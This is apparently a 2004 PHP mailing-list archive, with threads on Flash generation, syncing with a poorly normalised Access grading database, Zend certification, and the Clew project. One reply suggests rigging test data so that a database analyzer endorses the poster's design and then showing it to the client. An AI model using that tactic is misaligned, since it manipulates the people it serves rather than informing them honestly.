dates Chapter eight - managing e-mail This chapter illustrates the functionality provided by PHP for sending e-mail messages. . Sending e-mail . Managing the headers . Formatting an e-mail message . Attaching a file to a message Chapter nine - PHP and databases This chapter deals with the interaction between PHP and database servers. Because the exam is strictly limited to PHP, no particular DBMS is discussed-rather, generic database techniques and SQL syntax are discussed. . When to use a database . Types of databases supported by PHP . Inserting data . Extracting data . Joining data Chapter ten - stream and network programming This chapter introduces concepts associated with stream and network programming in PHP. . Using file wrappers . Connecting to a remote host using sockets . Blocking and non-blocking calls . Creating and using streams Chapter eleven - security This chapter examines some security issues traditionally related to PHP programming. . Trusted and untrusted input . Managing authentication . Escaping data for database and shell programming . Validating input . Preventing XSS attacks Chapter twelve - Debugging and Performance Management This chapter looks at some of the debugging and performance management available to PHP developers. . Common programming mistakes . Programming logic . Creating good code . Avoiding bugs . Avoiding performance pitfalls . Troubleshooting performance bottlenecks Please don't hesitate to contact me with any questions you may have. Yours sincerely, Daniel Kushner ______________________________________ Director of Training and Certification Zend Technologies Ltd. daniel at zend.com http://www.zend.com From nyphp at enobrev.com Fri Jun 18 04:12:26 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Fri, 18 Jun 2004 04:12:26 -0400 Subject: [nycphp-talk] PHP and Flash In-Reply-To: <20040617234058.77373.qmail@web12201.mail.yahoo.com> Message-ID: <20040618081236.DED7DA85EA@virtu.nyphp.org> > Yes, I mean I can insert 4 pictures in the DB, then this tool > can generate this Flash movie right way. > Is it possible? It is possible to generate a movie with the images in it using the ming extension: http://ming.sourceforge.net/ http://www.php.net/ming But it can be pretty tedious, and ming is still in an early beta. Also, to have it programmatically compile the movie on every load could prove to be a bit heavy. I'd recommend your server's file system. Create a cms of sorts for the file management (file upload, maybe ImageMagick for resizing / cropping), store the image locations in a db (or not) then generate some output for flash to pickup the image urls either by using the db query or just a directory listing of you uploaded images dir. If you're just going the directory route, you could even ftp the files up and just use php for outputting the filenames and locations. If it's only 5 images you could use loadVariables: http://www.macromedia.com/support/flash/action_scripts/actionscript_dictiona ry/actionscript_dictionary425.html And output the image names in a php script something like: &image_url=http://www.example.com/images/&image1=image_1.jpg&image2=image_2. jpg&image3=image_3.jpg&image4=image_4.jpg&image5=image_5.jpg Then once the image names (and location) are loaded into the movie, you can use loadMovie to load that actual images into your swf: http://www.kirupa.com/developer/mx/loading.htm If you plan on sending more stuff from your php backend, I'd recommend looking into learning about using xml with flash. Then you would just output the vars into an xml format and let flash do it's xml magic (it can be a feat to learn at first, but very powerful once you 'get it'). http://www.macromedia.com/devnet/mx/flash/articles/tools_xmlobject.html Basically, there's a lot more to learn on the flash side than on the php side. PHP would be your gateway to the data and format it whichever way flash needs to read it. All the real magic would be in flash itself. Good luck! Mark From nyphp at enobrev.com Fri Jun 18 04:40:53 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Fri, 18 Jun 2004 04:40:53 -0400 Subject: [nycphp-talk] DB Differences Message-ID: <20040618084058.8E851A85EA@virtu.nyphp.org> Looking for a professional developer's opinion... I'm working on a gig where I'll be importing data on a nightly basis from an already existing access database (mdb). Their setup is Access / CF Express. I'm, of course, working on a LAMPhp server as I usually do. Eventually I'll also be exporting back to that database. Now, looking over the db, I don't agree with the overall design. It's not normalized very well. I can't necessarily tell him to change it, 1 - because that's not what I'm hired to do, 2 - because it's his app and he'll write it how he pleases. But, I can't see myself replicating their structure to run my application. Obviously this will cause more headaches in the sync functions. So, would you replicate his db and grin and bare it all, or would you format it the way you feel is 'right' and efficient and holy and just deal with the data conversion with every import / export? I'd appreciate any input, if at least to help me with my own sanity. Mark From nyphp at enobrev.com Fri Jun 18 04:54:58 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Fri, 18 Jun 2004 04:54:58 -0400 Subject: [nycphp-talk] CLEW Message-ID: <20040618085518.2D219A85EA@virtu.nyphp.org> Ok.. Last one for the morning.. then I have to get back to work. Early last year when work was scarce, I'd been working on a tool that I believe may be incredibly similar to clew. I got pretty far with it and then left it to form rust while I found a few opportunities to make my landlord happy. I'm not sure that I'd have many reusable components from it (although if I look, I just might), but I do have thousands of ideas about it. Anyways, I was wondering how I might be able to join in the fun. Mark From tgales at tgaconnect.com Fri Jun 18 07:13:06 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Fri, 18 Jun 2004 07:13:06 -0400 Subject: [nycphp-talk] DB Differences In-Reply-To: <20040618084058.8E851A85EA@virtu.nyphp.org> Message-ID: <002b01c45525$3b525960$e98d3818@oberon1> Mark Armendariz writes: > > Looking for a professional developer's opinion... > > I'm working on a gig where I'll be importing data on a > nightly basis from an already existing access database (mdb). > Their setup is Access / CF Express. I'm, of course, working > on a LAMPhp server as I usually do. Eventually I'll also be > exporting back to that database. > > Now, looking over the db, I don't agree with the overall > design. It's not normalized very well. I can't necessarily > tell him to change it, 1 - because that's not what I'm hired > to do, 2 - because it's his app and he'll write it how he > pleases. But, I can't see myself replicating their structure > to run my application. > > Obviously this will cause more headaches in the sync functions. > > So, would you replicate his db and grin and bare it all, or > would you format it the way you feel is 'right' and efficient > and holy and just deal with the data conversion with every > import / export? Is your (sub)system the 'dog' or the 'tail' and which of the two systems should do the 'wagging'? Is this a 'webification' of something which has a good 'track record' in terms of volume? Do you feel that the volume of your system, in terms of users and/or transactions, is likely to increase past the size of the 'tried and true' system -- and to the point where incurring anomalies in the transactions will be more probable than that in the other system because of the poor schema? The above is just food for thought. I would venture to say that the mismatch between your understanding and your client's understanding of database design will be more likely to cause 'headaches in the sync functions' than the mismatch between the two database schemas. Access has some data analysis routine that you can run on a database. (Sorry, I forget specifically how you run it -- you go down one of the 'menu mazes' that Microsoft developers are fond of including in their products) You could play with some data in a test mdb and see what the 'data analyzer' suggests. As I recall the process gives some suggestions on how to improve a database's schema and gives examples of data normalization and why those normalizations are important. I am a little fuzzy about to what degree the 'analysis' is affected by the data in the tables, but I seem to recall that there is a fairly strong relationship. A possible tack you could take is to 'stack the deck' in a test mdb database -- that is, put data into the test database which will make the analyzer thing suggest what you feel is the right move. And then show this to the client -- and even let him play with the analyzer a bit. This might bring his understanding to more clearly match yours. It is my experience that it is most difficult, if not impossible, to 'teach' someone something; the most you can do is provide an environment for people to 'put the pieces together' for themselves and hope for the best. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From jonbaer at jonbaer.net Fri Jun 18 07:33:05 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Fri, 18 Jun 2004 07:33:05 -0400 Subject: [nycphp-talk] DB Differences In-Reply-To: <20040618084058.8E851A85EA@virtu.nyphp.org> References: <20040618084058.8E851A85EA@virtu.nyphp.org> Message-ID: <20040618113305.GA1544@jonbaer.net> Their mess should not be your problem ... if you can write a small, quick, efficient odbc filter that you can generically use that might help especially since it would not break your design or your clients. There should be a way for you to setup your tables the way you would be comfortable in dealing with them and then look and see how youd like to get data, a job I was on would pipe csv back and forth with a filter in between. There is also a small tool called MdbToMySQL (freeware) you can try ... http://www.mdbtomysql.de - Jon On Fri, Jun 18, 2004 at 04:40:53AM -0400, Mark Armendariz wrote: > So, would you replicate his db and grin and bare it all, or would you format > it the way you feel is 'right' and efficient and holy and just deal with the > data conversion with every import / export? -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From nyphp at enobrev.com Fri Jun 18 07:50:30 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Fri, 18 Jun 2004 07:50:30 -0400 Subject: [nycphp-talk] DB Differences In-Reply-To: <002b01c45525$3b525960$e98d3818@oberon1> Message-ID: <20040618115036.2C4F7A8633@virtu.nyphp.org> > Is this a 'webification' of something which has a good 'track > record' in terms of volume? Do you feel that the volume of > your system, in terms of users and/or transactions, is likely > to increase past the size of the 'tried and true' Ok, details required :) It's a grading system written in access, being used by teachers via cf express. So current usage is about 5 - 10 people. The web version will be accessed by a couple hundred parents. Obviously not any feat in traffic, but the design is always important. I'm actually in no position to change the 'parent' db (the access db), as it's an application completely in use that I have no say in the maintenance of. I definitely would, and the improvements I have in mind are strictly based on general experience in db efficiency and .. Well.. nice queries. Here's an example table Grade_id Stud_id S_first_name S_last_name Criteria_num (number of criterias used for this grade) Crit_1_name Crit_1_value Crit_1_percentage Crit_2_name Crit_2_value Crit_2_percentage Crit_3_name Crit_3_value Crit_3_percentage ... (up to 12) All the math I'll be doing with this setup will require me to grab all the data and do some string manipulation for column names. If I made a criteria table with a grade_id (fk), I could do all the math in the query and knock out 5 steps as well as keep everything far more efficient. Also, having a student name here and in a students table makes it easier to lose track of one or the other. Every change requires a change in 2 places. > I would venture to say that the mismatch between your > understanding and your client's understanding of database > design will be more likely to cause 'headaches in the sync > functions' than the mismatch between the two database schemas. Well, this is the primary dilemma. Do I design the db 'my way' and make the sync really nasty, while potentially offending the original developer - while building a nice and easy to maintain site, or do I do it his way trying to keep up with overlapping records and workarounds. After typing all this out, I'm pretty sure I'll end up doing the db my way, I was just wondering about the opinions of other pros out there. If anything I know the way I design my systems is tried and true enough for these guys to seek me out in the first place. Once the clock strikes 4am such decisions can get a bit fuzzier. So thank you all, if at least for receiving this... Thanks for the thought out reply, Tim, and I'll make sure to mention the db analyzer to my client. Good thinkin! Mark From joshmccormack at travelersdiary.com Fri Jun 18 07:55:27 2004 From: joshmccormack at travelersdiary.com (Josh McCormack) Date: Fri, 18 Jun 2004 07:55:27 -0400 Subject: [nycphp-talk] DB Differences In-Reply-To: <20040618084058.8E851A85EA@virtu.nyphp.org> References: <20040618084058.8E851A85EA@virtu.nyphp.org> Message-ID: <40D2D82F.4050701@travelersdiary.com> No need to have the exact same structure on another database. Use what's best for the situation, and no need to change the original. Josh Mark Armendariz wrote: > Looking for a professional developer's opinion... > > I'm working on a gig where I'll be importing data on a nightly basis from an > already existing access database (mdb). Their setup is Access / CF Express. > I'm, of course, working on a LAMPhp server as I usually do. Eventually I'll > also be exporting back to that database. > > Now, looking over the db, I don't agree with the overall design. It's not > normalized very well. I can't necessarily tell him to change it, 1 - > because that's not what I'm hired to do, 2 - because it's his app and he'll > write it how he pleases. But, I can't see myself replicating their > structure to run my application. > > Obviously this will cause more headaches in the sync functions. > > So, would you replicate his db and grin and bare it all, or would you format > it the way you feel is 'right' and efficient and holy and just deal with the > data conversion with every import / export? > > I'd appreciate any input, if at least to help me with my own sanity. > > Mark > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From nyphp at enobrev.com Fri Jun 18 08:06:09 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Fri, 18 Jun 2004 08:06:09 -0400 Subject: [nycphp-talk] DB Differences In-Reply-To: <20040618113305.GA1544@jonbaer.net> Message-ID: <20040618120614.D9D7EA85EA@virtu.nyphp.org> > There is also a small tool called MdbToMySQL (freeware) you > can try ... Well, with something like this, I would expect to keep the client's design on my end as well, which I'm really trying not to work with throughout the site. > Their mess should not be your problem ... > - Jon I couldn't agree more, but that's the dilemma The reason I feel the sync would get ugly is because I'll be splitting tables into 2 or 3 tables. So should they make a change to the data, I'll need to create a means for each record to know where it came from. My table will have Id's that have nothing to do with their data. Which brings me to the finale... > No need to have the exact same structure on another database. > Use what's best for the situation, and no need to change the original. > > Josh Indeed absolutely. The more I think about it, the more obvious it gets. Put the work into the translation, keep the site clean and neat. Again, thank you all... And good morning. Mark From csnyder at chxo.com Fri Jun 18 08:21:58 2004 From: csnyder at chxo.com (Chris Snyder) Date: Fri, 18 Jun 2004 08:21:58 -0400 Subject: [nycphp-talk] DB Differences In-Reply-To: <20040618120614.D9D7EA85EA@virtu.nyphp.org> References: <20040618120614.D9D7EA85EA@virtu.nyphp.org> Message-ID: <40D2DE66.7020305@chxo.com> Mark Armendariz wrote: > Put the work into the translation, keep the site clean and neat. As long as the client's data model isn't subject to change on a whim, you should be fine. Keep in mind that you might need to justify the alternative structure (I mean, I'd be pissed if you just went off on your own and ignored my model but that's just me). There are plenty of obvious differences between Access and MySQL, though, so you can probably explain it away as "optimization". Which it is. From csnyder at chxo.com Fri Jun 18 08:27:25 2004 From: csnyder at chxo.com (Chris Snyder) Date: Fri, 18 Jun 2004 08:27:25 -0400 Subject: [nycphp-talk] CLEW In-Reply-To: <20040618085518.2D219A85EA@virtu.nyphp.org> References: <20040618085518.2D219A85EA@virtu.nyphp.org> Message-ID: <40D2DFAD.5000707@chxo.com> Mark Armendariz wrote: >Anyways, I was wondering how I might be able to join in the fun. > Clew is on a new development push that will end with a fully-implemented mailing list manager and a pretty slick web interface to the archives, and we'd love to have your help. We're working on an RFC internally which I expect will be made public by Monday. In the meantime, please register with http://clew.nyphp.org/ and subscribe to the Clew project node at http://clew.nyphp.org/clew/clew From csnyder at chxo.com Fri Jun 18 08:45:38 2004 From: csnyder at chxo.com (Chris Snyder) Date: Fri, 18 Jun 2004 08:45:38 -0400 Subject: [nycphp-talk] Zend PHP Certification Message-ID: <40D2E3F2.7090109@chxo.com> How do people feel about "official" certification as a qualified PHP programmer? My knee-jerk reaction is to rail against this sort of thing as a devaluation of the art of individual expression in programming, but I realize that it could create a strong incentive for all of us to make sure we're up to speed on the "phundamentals". This could be particularly useful when coming to PHP from languages with different programming conventions, like Java or TCL, or for coders in one or two person shops where the style is homegrown. I've seen plenty of code that would never have been written had the author been aware of some common best practices. I hope NYPHP will offer training (online and off) to pass certification if the community embraces it -- would anyone be interested in such a thing, either for themselves or their colleagues? From hans at cyberxdesigns.com Fri Jun 18 08:46:25 2004 From: hans at cyberxdesigns.com (Hans C. Kaspersetz) Date: Fri, 18 Jun 2004 08:46:25 -0400 Subject: [nycphp-talk] CLEW In-Reply-To: <20040618085518.2D219A85EA@virtu.nyphp.org> References: <20040618085518.2D219A85EA@virtu.nyphp.org> Message-ID: <40D2E421.1090305@cyberxdesigns.com> Mark, Glad to hear you are interested in getting involved with our development efforts here at NY PHP. I would suggest you register on Clew, http://clew.nyphp.org/clew/clew?clew=register, and subscribe to the Clew node. To subscribe to the Clew node visit http://clew.nyphp.org/clew/clew, login and click subscriptions under the title Clew Project. I would announce your intentions here as well. You may also want to subscribe to the Org List, http://lists.nyphp.org/mailman/listinfo/org. Glad to have you on board. Hans K Mark Armendariz wrote: >Ok.. Last one for the morning.. then I have to get back to work. > >Early last year when work was scarce, I'd been working on a tool that I >believe may be incredibly similar to clew. I got pretty far with it and >then left it to form rust while I found a few opportunities to make my >landlord happy. I'm not sure that I'd have many reusable components from it >(although if I look, I just might), but I do have thousands of ideas about >it. Anyways, I was wondering how I might be able to join in the fun. > >Mark > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > From nyphp at enobrev.com Fri Jun 18 08:56:32 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Fri, 18 Jun 2004 08:56:32 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <40D2E3F2.7090109@chxo.com> Message-ID: <20040618125639.0C0A3A86BF@virtu.nyphp.org> > How do people feel about "official" certification as a > qualified PHP programmer? I generally avoid certs and people who chase them, but that's based on a bias from a few years ago as a manager for a software company hiring to fill technical positions. Guys with 4 or 5 networking and hardware certs who couldn't change a NIC properly and got that scared look in their eye from a 10 node network diagram. Otherwise, I think having a certification of knowledge isn't necessarily a bad thing as long as it's granted properly. Nonetheless, I'd sooner hire someone I would be happy to have a few drinks with while chatting about coding methodologies and music than someone waving a signed and stamped cert in my face as proof of experience. Mark From nyphp at enobrev.com Fri Jun 18 08:57:50 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Fri, 18 Jun 2004 08:57:50 -0400 Subject: [nycphp-talk] CLEW In-Reply-To: <40D2E421.1090305@cyberxdesigns.com> Message-ID: <20040618125756.3C6A1A85EA@virtu.nyphp.org> Another Hans. What are the odds? Thank you both for the information. After I get a couple hours of shuteye, I'm in. Mark From mitchy at spacemonkeylabs.com Fri Jun 18 09:01:53 2004 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Fri, 18 Jun 2004 09:01:53 -0400 Subject: [nycphp-talk] PHP and Flash In-Reply-To: <20040617204413.64352.qmail@web12207.mail.yahoo.com> References: <20040617204413.64352.qmail@web12207.mail.yahoo.com> Message-ID: <40D2E7C1.6060107@spacemonkeylabs.com> haha wrote: >Hi All: > >Here is a page: >http://www.xcooter.com/s_xc500gt2.shtml >Can I write a PHP and Flash to change it's picrure on the fly? > > You certainly can, but it means that you still have to create the initial flash animation to work as a container for your graphics. What is common today is to create a flash animation that fetches images (or other movies, or even HTML content) from a remote page - this page is a PHP script, and can use arbitrary methods (like session identification) to decide what dynamic content to send to the flash animation. What you are doing is pulling the content *out* of the flash animation, and including it as a remote object with actionscript (flash's proprietary scripting language). So you still need to be able to create the initial flash animation that pulls all the remote media. I'm deep in the bowels of a site that uses flash as a container for all content, and all content is dynamically generated by PHP. When I am done I will be writing article after article after article... ;) -- Mitch From heli_travel at yahoo.com Fri Jun 18 09:12:20 2004 From: heli_travel at yahoo.com (haha) Date: Fri, 18 Jun 2004 06:12:20 -0700 (PDT) Subject: [nycphp-talk] PHP and Flash In-Reply-To: <40D2E7C1.6060107@spacemonkeylabs.com> Message-ID: <20040618131220.84919.qmail@web12206.mail.yahoo.com> Thanks Mitch! If I can finish it, I will post the source code here, it may be useful for other people! Good luck to me! --- Mitch Pirtle wrote: > haha wrote: > > >Hi All: > > > >Here is a page: > >http://www.xcooter.com/s_xc500gt2.shtml > >Can I write a PHP and Flash to change it's picrure on the > fly? > > > > > > You certainly can, but it means that you still have to create > the > initial flash animation to work as a container for your > graphics. > > What is common today is to create a flash animation that > fetches images > (or other movies, or even HTML content) from a remote page - > this page > is a PHP script, and can use arbitrary methods (like session > identification) to decide what dynamic content to send to the > flash > animation. > > What you are doing is pulling the content *out* of the flash > animation, > and including it as a remote object with actionscript (flash's > > proprietary scripting language). So you still need to be able > to create > the initial flash animation that pulls all the remote media. > > I'm deep in the bowels of a site that uses flash as a > container for all > content, and all content is dynamically generated by PHP. > When I am > done I will be writing article after article after article... > ;) > > -- Mitch > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > __________________________________ Do you Yahoo!? Yahoo! Mail is new and improved - Check it out! http://promotions.yahoo.com/new_mail From jeffknight at mac.com Fri Jun 18 09:17:40 2004 From: jeffknight at mac.com (Jeff Knight) Date: Fri, 18 Jun 2004 09:17:40 -0400 Subject: [nycphp-talk] PHP and Flash In-Reply-To: <20040618131220.84919.qmail@web12206.mail.yahoo.com> References: <20040618131220.84919.qmail@web12206.mail.yahoo.com> Message-ID: Don't forget MING http://www.php.net/manual/en/ref.ming.php On Jun 18, 2004, at 9:12 AM, haha wrote: > > Thanks Mitch! > > If I can finish it, I will post the source code here, it may be > useful for other people! > > Good luck to me! > > --- Mitch Pirtle wrote: >> haha wrote: >> >>> Hi All: >>> >>> Here is a page: >>> http://www.xcooter.com/s_xc500gt2.shtml >>> Can I write a PHP and Flash to change it's picrure on the >> fly? >>> >>> >> >> You certainly can, but it means that you still have to create >> the >> initial flash animation to work as a container for your >> graphics. >> >> What is common today is to create a flash animation that >> fetches images >> (or other movies, or even HTML content) from a remote page - >> this page >> is a PHP script, and can use arbitrary methods (like session >> identification) to decide what dynamic content to send to the >> flash >> animation. >> >> What you are doing is pulling the content *out* of the flash >> animation, >> and including it as a remote object with actionscript (flash's >> >> proprietary scripting language). So you still need to be able >> to create >> the initial flash animation that pulls all the remote media. >> >> I'm deep in the bowels of a site that uses flash as a >> container for all >> content, and all content is dynamically generated by PHP. >> When I am >> done I will be writing article after article after article... >> ;) >> >> -- Mitch >> _______________________________________________ >> talk mailing list >> talk at lists.nyphp.org >> http://lists.nyphp.org/mailman/listinfo/talk >> > > > > > __________________________________ > Do you Yahoo!? > Yahoo! Mail is new and improved - Check it out! > http://promotions.yahoo.com/new_mail > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From ashaw at iifwp.org Fri Jun 18 09:37:04 2004 From: ashaw at iifwp.org (Allen Shaw) Date: Fri, 18 Jun 2004 09:37:04 -0400 Subject: [nycphp-talk] Zend PHP Certification References: <40D2E3F2.7090109@chxo.com> Message-ID: <004a01c45539$597875a0$7201a8c0@iifwp.local> Chris wrote: > This could be particularly useful when coming to PHP from languages with > different programming conventions, like Java or TCL, or for coders in > one or two person shops where the style is homegrown. I've seen plenty > of code that would never have been written had the author been aware of > some common best practices. > > I hope NYPHP will offer training (online and off) to pass certification > if the community embraces it -- would anyone be interested in such a > thing, either for themselves or their colleagues? I can definitely see myself in the "homegrown" category, and as I'm coming to a place where I'm trying to involve a couple more programmers in existing projects, I'm just *hoping* none of my potential coding partners will say "gee, this code never would have been written had ALLEN been aware of some common best practices." Interested in training for the certification? Yep. - Al -- =========================================================== Allen Shaw IIFWP Data and IT Services http://www.iifwp.org From dmintz at davidmintz.org Fri Jun 18 09:42:18 2004 From: dmintz at davidmintz.org (David Mintz) Date: Fri, 18 Jun 2004 09:42:18 -0400 (EDT) Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <20040618125639.0C0A3A86BF@virtu.nyphp.org> References: <20040618125639.0C0A3A86BF@virtu.nyphp.org> Message-ID: On Fri, 18 Jun 2004, Mark Armendariz wrote: > > How do people feel about "official" certification as a > > qualified PHP programmer? > > I generally avoid certs and people who chase them, but that's based on a > bias from a few years ago as a manager for a software company hiring to > fill technical positions. > > Nonetheless, I'd sooner hire someone I would be happy to have a few drinks > with while chatting about coding methodologies and music than someone waving > a signed and stamped cert in my face as proof of experience. I come to this as the eternal wannabe -- the guy with a nominally non-technical day job who loves coding -- but I have considered this question in another domain, namely court interpreting. We Spanish interpreters in the U.S. federal courts take an appropriately challenging exam to see if our skills and knowledge meet the level required to do the job responsibly and competently. No exam is perfect, false positives and false negatives happen. But certification by a reasonably valid and reliable process makes a nice complement to whatever else the certification-holder brings to the table. There are tasks you wouldn't want performed by anyone who didn't have some official credential attesting to a miminum level of competence -- airline pilot, etc. I think the net value of certification processes is positive. I would go for the PHP certification exam in a heartbeat but first I would want to have a chance to learn as much as possible about it and "self-study" for it the way I did with Sun's Java programmer certification (go ahead and jeer). I'd like to know: how many questions there are; the format of the questions; the time limit; the minimum passing score. And I'd like to put myself through some practice self-tests. Yes I recognize that the exam is still being developed. But I'm not eager to pay $80 to sit for the beta on such short notice. The announcement speaks of "chapters" where one normally calls them exam "objectives" or some such. Are they planning to publish an exam prep book? -- David Mintz http://davidmintz.org/ http://sdnyinterpreters.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From dmintz at davidmintz.org Fri Jun 18 09:45:38 2004 From: dmintz at davidmintz.org (David Mintz) Date: Fri, 18 Jun 2004 09:45:38 -0400 (EDT) Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <004a01c45539$597875a0$7201a8c0@iifwp.local> References: <40D2E3F2.7090109@chxo.com> <004a01c45539$597875a0$7201a8c0@iifwp.local> Message-ID: On Fri, 18 Jun 2004, Allen Shaw wrote: > > Interested in training for the certification? Yep. > Oh yeah, I forgot to add: hell yeah I'd be interested in getting training too. --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From jim at bizcomputinginc.com Fri Jun 18 09:47:23 2004 From: jim at bizcomputinginc.com (Jim Hendricks) Date: Fri, 18 Jun 2004 09:47:23 -0400 Subject: [nycphp-talk] DB Differences References: <20040618115036.2C4F7A8633@virtu.nyphp.org> Message-ID: <006301c4553a$c8ac0f80$c801a8c0@BizComputing> Don't forget about the other side of the coin. I know as a programmer I tend to only think of the technical ramifications, but you also need to look at the business ramifications ( ie. what will make you the most amount that the customer is willing to bear ) So, let's think of a straight sync. It will take you longer to create the queries/post query parser to obtain the data for your screens. Multipy that by how many queries. And of course time is money. Then a translating sync. It will take longer to write the sync, but the queries will be real easy and no need for post query parsing. Let's assume the longer time of the two is with a straight sync. So, if you can get approval for the time estimate for the straight sync, you can then safely choose either method, if you go with the programmers ideal and translate the sync, you may win out and come in under budget which either saves the client money( always good PR ) on an hourly, or makes you more money on a fixed. Then say the client won't go for the longer time frame. You can then suggest that a programming ideal can lead to a shorter time( that is of course if the translating is less dev time ) and thus save them money, but it may come at the expense of a more complicated sync and therefore may be more costly to maintain. Now flip it, translating takes longer, but the client is willing to bear the cost, you can either stick with the plan and have the knowledge that the program is the best you can produce, or you can short cut, do the straight sync and dirty programming and either come out the under budget hero or a little richer. But if the client won't bear the longer translating cost, you go the straight and dirty and know that although the program is not one you will present as "see what I can do", it is one which you were more sensitive to your client and win a few business brownie points. Hope this helps, Jim ----- Original Message ----- From: "Mark Armendariz" To: "'NYPHP Talk'" Sent: Friday, June 18, 2004 7:50 AM Subject: RE: [nycphp-talk] DB Differences > > > Is this a 'webification' of something which has a good 'track > > record' in terms of volume? Do you feel that the volume of > > your system, in terms of users and/or transactions, is likely > > to increase past the size of the 'tried and true' > > Ok, details required :) > > It's a grading system written in access, being used by teachers via cf > express. So current usage is about 5 - 10 people. The web version will be > accessed by a couple hundred parents. Obviously not any feat in traffic, > but the design is always important. > > I'm actually in no position to change the 'parent' db (the access db), as > it's an application completely in use that I have no say in the maintenance > of. I definitely would, and the improvements I have in mind are strictly > based on general experience in db efficiency and .. Well.. nice queries. > > Here's an example table > Grade_id > Stud_id > S_first_name > S_last_name > Criteria_num (number of criterias used for this grade) > Crit_1_name > Crit_1_value > Crit_1_percentage > Crit_2_name > Crit_2_value > Crit_2_percentage > Crit_3_name > Crit_3_value > Crit_3_percentage > ... (up to 12) > > All the math I'll be doing with this setup will require me to grab all the > data and do some string manipulation for column names. If I made a criteria > table with a grade_id (fk), I could do all the math in the query and knock > out 5 steps as well as keep everything far more efficient. Also, having a > student name here and in a students table makes it easier to lose track of > one or the other. Every change requires a change in 2 places. > > > I would venture to say that the mismatch between your > > understanding and your client's understanding of database > > design will be more likely to cause 'headaches in the sync > > functions' than the mismatch between the two database schemas. > > Well, this is the primary dilemma. Do I design the db 'my way' and make the > sync really nasty, while potentially offending the original developer - > while building a nice and easy to maintain site, or do I do it his way > trying to keep up with overlapping records and workarounds. > > After typing all this out, I'm pretty sure I'll end up doing the db my way, > I was just wondering about the opinions of other pros out there. If > anything I know the way I design my systems is tried and true enough for > these guys to seek me out in the first place. Once the clock strikes 4am > such decisions can get a bit fuzzier. So thank you all, if at least for > receiving this... > > Thanks for the thought out reply, Tim, and I'll make sure to mention the db > analyzer to my client. Good thinkin! > > Mark > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From kushner at gmail.com Fri Jun 18 09:50:57 2004 From: kushner at gmail.com (Daniel Kushner) Date: Fri, 18 Jun 2004 09:50:57 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: References: <20040618125639.0C0A3A86BF@virtu.nyphp.org> Message-ID: <7ac626ed04061806505b1ff97a@mail.gmail.com> > The announcement speaks of "chapters" where one normally calls them exam > "objectives" or some such. Are they planning to publish an exam prep > book? > Yes! Sams Publishing will be releasing the Certification Study Guide - hopefully by July 26th. Best, Daniel From nyphp at enobrev.com Fri Jun 18 10:02:54 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Fri, 18 Jun 2004 10:02:54 -0400 Subject: [nycphp-talk] DB Differences In-Reply-To: <006301c4553a$c8ac0f80$c801a8c0@BizComputing> Message-ID: <20040618140301.1ACBBA8633@virtu.nyphp.org> > Now flip it, translating takes longer, but the client is > willing to bear the cost, you can either stick with the plan > and have the knowledge that the program is the best you can > produce, or you can short cut, do the straight sync and dirty > programming and either come out the under budget hero or a > little richer. I think this is one of the major bases for my indecision. If the client would prefer the straight sync, I may just turn down the gig. I have a very hard time putting out code and asking people to pay for it if I don't feel it's done to the best of my ability with my full approval (or at least a good 85% approval due to compromise). Even when I was growing tired of the refried-beans-every-damned-day diet, I wouldn't compromise my product for a check. I'm sure such pride can be a downfall, but I feel it's one of the major reasons I have so much work now. Mark From jonbaer at jonbaer.net Fri Jun 18 09:28:18 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Fri, 18 Jun 2004 09:28:18 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <20040618125639.0C0A3A86BF@virtu.nyphp.org> References: <40D2E3F2.7090109@chxo.com> <20040618125639.0C0A3A86BF@virtu.nyphp.org> Message-ID: <20040618132818.GA14271@jonbaer.net> lol ... someone with a "Bachelor of Science in BSing"? i need to get my resume to your human relations department as soon as possible ... j/k! i think the certs are fair and justifiable, not only that but failing them proves to be quite educational beleive it or not, i learned more from failing the 1st sun java cert, alot that i never went back to take it again (half regretable). call it cheap man's college degree or whatever but they can work wonders for some people :-) - jon On Fri, Jun 18, 2004 at 08:56:32AM -0400, Mark Armendariz wrote: > Nonetheless, I'd sooner hire someone I would be happy to have a few drinks > with while chatting about coding methodologies and music than someone waving > a signed and stamped cert in my face as proof of experience. -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From Rafi.Sheikh at Ingenix.com Fri Jun 18 10:12:25 2004 From: Rafi.Sheikh at Ingenix.com (Rafi Sheikh) Date: Fri, 18 Jun 2004 09:12:25 -0500 Subject: [nycphp-talk] PHP, ODBC, ORACLE Message-ID: Hi list. Two questions for an APM solution: 1. Can ODBC_CONNECT be used to go against an oracle database? If yes, what would be the essential pieces? 2. What would be the syntax for oracle connect statements (plz 